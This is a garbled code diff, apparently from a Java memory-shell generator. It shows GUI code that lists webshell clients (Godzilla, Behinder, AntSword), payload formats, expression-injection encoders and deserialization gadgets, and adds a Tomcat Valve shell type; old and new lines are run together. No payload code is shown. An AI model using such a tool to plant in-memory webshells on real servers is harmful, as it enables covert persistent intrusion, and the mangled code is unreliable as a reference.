godzillaShellBox.addAll(behinderShellBox);
godzillaShellBox.addAll(handlerMethodShellBox);
ArrayList<String> formatBoxForOther = new ArrayList<>(Arrays.asList(
Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS,
Constants.FORMAT_JAR, Constants.FORMAT_JS, Constants.FORMAT_JSP
));
ArrayList<String> formatBoxForTomcat = new ArrayList<>(Arrays.asList(
Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS,
Constants.FORMAT_JAR, Constants.FORMAT_JAR_AGENT, Constants.FORMAT_JS, Constants.FORMAT_JSP
));
ArrayList<String> exprEncoderBoxItems = new ArrayList<>(Arrays.asList(
Constants.EXPR_EL, Constants.EXPR_SPEL, Constants.EXPR_OGNL, Constants.EXPR_FREEMARKER, Constants.EXPR_VELOCITY, Constants.EXPR_JS
));
ArrayList<String> gadgetTypeBoxItems = new ArrayList<>(Arrays.asList(
Constants.GADGET_JDK_TRANSLET, Constants.GADGET_SNAKEYAML, Constants.GADGET_FJ_GROOVY, Constants.GADGET_XALAN_TRANSLET
));
// 设置模型
formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat.toArray(new String[0])));
serverBox.setModel(new DefaultComboBoxModel<>(behinderServerBox.toArray(new String[0])));
shellBox.setModel(new DefaultComboBoxModel<>(servletApiShellBox.toArray(new String[0])));
formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat));
serverBox.setModel(new DefaultComboBoxModel(behinderServerBox));
shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox));
toolBox.addActionListener(new ActionListener() { toolBox.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) { public void actionPerformed(ActionEvent e) {
toolType = (String) toolBox.getSelectedItem(); toolType = (String) toolBox.getSelectedItem();
if (toolType.equals(Constants.TOOL_GODZILLA)) { if (toolType.equals(Constants.TOOL_GODZILLA)) {
serverBox.setModel(new DefaultComboBoxModel(godzillaServerBox)); serverBox.setModel(new DefaultComboBoxModel(godzillaServerBox.toArray(new String[0])));
shellBox.setModel(new DefaultComboBoxModel(godzillaShellBox)); shellBox.setModel(new DefaultComboBoxModel(godzillaShellBox.toArray(new String[0])));
} else if (toolType.equals(Constants.TOOL_ANTSWORD)) { } else if (toolType.equals(Constants.TOOL_ANTSWORD)) {
shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox)); shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox.toArray(new String[0])));
serverBox.setModel(new DefaultComboBoxModel(servletApiServerBox)); serverBox.setModel(new DefaultComboBoxModel(servletApiServerBox.toArray(new String[0])));
} else if (toolType.equals(Constants.TOOL_CUSTOM)) { } else if (toolType.equals(Constants.TOOL_CUSTOM)) {
JFileChooser fileChooser = new JFileChooser(); JFileChooser fileChooser = new JFileChooser();
FileFilter classFileFilter = new FileFilter() { FileFilter classFileFilter = new FileFilter() {
@@ -160,8 +193,8 @@ public class jMGForm {
config.setClassFilePath(selectedPath); config.setClassFilePath(selectedPath);
} }
} else { } else {
serverBox.setModel(new DefaultComboBoxModel(behinderServerBox)); serverBox.setModel(new DefaultComboBoxModel(behinderServerBox.toArray(new String[0])));
shellBox.setModel(new DefaultComboBoxModel(behinderShellBox)); shellBox.setModel(new DefaultComboBoxModel(behinderShellBox.toArray(new String[0])));
} }
} }
}); });
@@ -171,19 +204,19 @@ public class jMGForm {
public void actionPerformed(ActionEvent e) { public void actionPerformed(ActionEvent e) {
serverType = (String) serverBox.getSelectedItem(); serverType = (String) serverBox.getSelectedItem();
if (serverType.equals(Constants.SERVER_SPRING_MVC)) { if (serverType.equals(Constants.SERVER_SPRING_MVC)) {
shellBox.setModel(new DefaultComboBoxModel<>(interceptorShellBox)); shellBox.setModel(new DefaultComboBoxModel<>(interceptorShellBox.toArray(new String[0])));
shellType = (String) shellBox.getSelectedItem(); shellType = (String) shellBox.getSelectedItem();
} else if (serverType.equals(Constants.SERVER_SPRING_WEBFLUX)) { } else if (serverType.equals(Constants.SERVER_SPRING_WEBFLUX)) {
shellBox.setModel(new DefaultComboBoxModel<>(handlerMethodShellBox)); shellBox.setModel(new DefaultComboBoxModel<>(handlerMethodShellBox.toArray(new String[0])));
shellType = (String) shellBox.getSelectedItem(); shellType = (String) shellBox.getSelectedItem();
} else { } else {
shellBox.setModel(new DefaultComboBoxModel<>(servletApiShellBox)); shellBox.setModel(new DefaultComboBoxModel<>(servletApiShellBox.toArray(new String[0])));
shellType = (String) shellBox.getSelectedItem(); shellType = (String) shellBox.getSelectedItem();
} }
if (!serverType.equals(Constants.SERVER_TOMCAT) && !serverType.equals(Constants.SERVER_SPRING_MVC)) { if (!serverType.equals(Constants.SERVER_TOMCAT) && !serverType.equals(Constants.SERVER_SPRING_MVC)) {
formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForOther)); formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForOther.toArray(new String[0])));
} else { } else {
formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat)); formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat.toArray(new String[0])));
} }
} }
}); });
@@ -247,7 +280,7 @@ public class jMGForm {
} else { } else {
exprBox.setEnabled(enableExpr.isSelected()); exprBox.setEnabled(enableExpr.isSelected());
config.setExprEncoder(null); config.setExprEncoder(null);
exprBox.setModel(new DefaultComboBoxModel(exprEncoderBoxItems)); exprBox.setModel(new DefaultComboBoxModel(exprEncoderBoxItems.toArray(new String[0])));
} }
} }
@@ -274,7 +307,7 @@ public class jMGForm {
} else { } else {
gadgetTypeBox.setEnabled(enableGadget.isSelected()); gadgetTypeBox.setEnabled(enableGadget.isSelected());
config.setGadgetType(null); config.setGadgetType(null);
gadgetTypeBox.setModel(new DefaultComboBoxModel(gadgetTypeBoxItems)); gadgetTypeBox.setModel(new DefaultComboBoxModel(gadgetTypeBoxItems.toArray(new String[0])));
} }
} }
}); });
@@ -25,6 +25,7 @@ public class ResultUtil {
case Constants.SHELL_INTERCEPTOR: case Constants.SHELL_INTERCEPTOR:
case Constants.SHELL_JAKARTA_LISTENER: case Constants.SHELL_JAKARTA_LISTENER:
case Constants.SHELL_JAKARTA_FILTER: case Constants.SHELL_JAKARTA_FILTER:
case Constants.SHELL_VALVE:
TextPaneUtil.successPrintln("基础信息:"); TextPaneUtil.successPrintln("基础信息:");
TextPaneUtil.rawPrintln(""); TextPaneUtil.rawPrintln("");
TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64"); TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64");
@@ -51,6 +51,7 @@ public class ShellHelper implements IHelper {
enumShellType.add(Constants.SHELL_INTERCEPTOR); enumShellType.add(Constants.SHELL_INTERCEPTOR);
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER); enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
enumShellType.add(Constants.SHELL_JAKARTA_FILTER); enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
enumShellType.add(Constants.SHELL_VALVE);
shell_type.setEnumValue(enumShellType); shell_type.setEnumValue(enumShellType);
shell_type.setDefaultValue("Listener"); shell_type.setDefaultValue("Listener");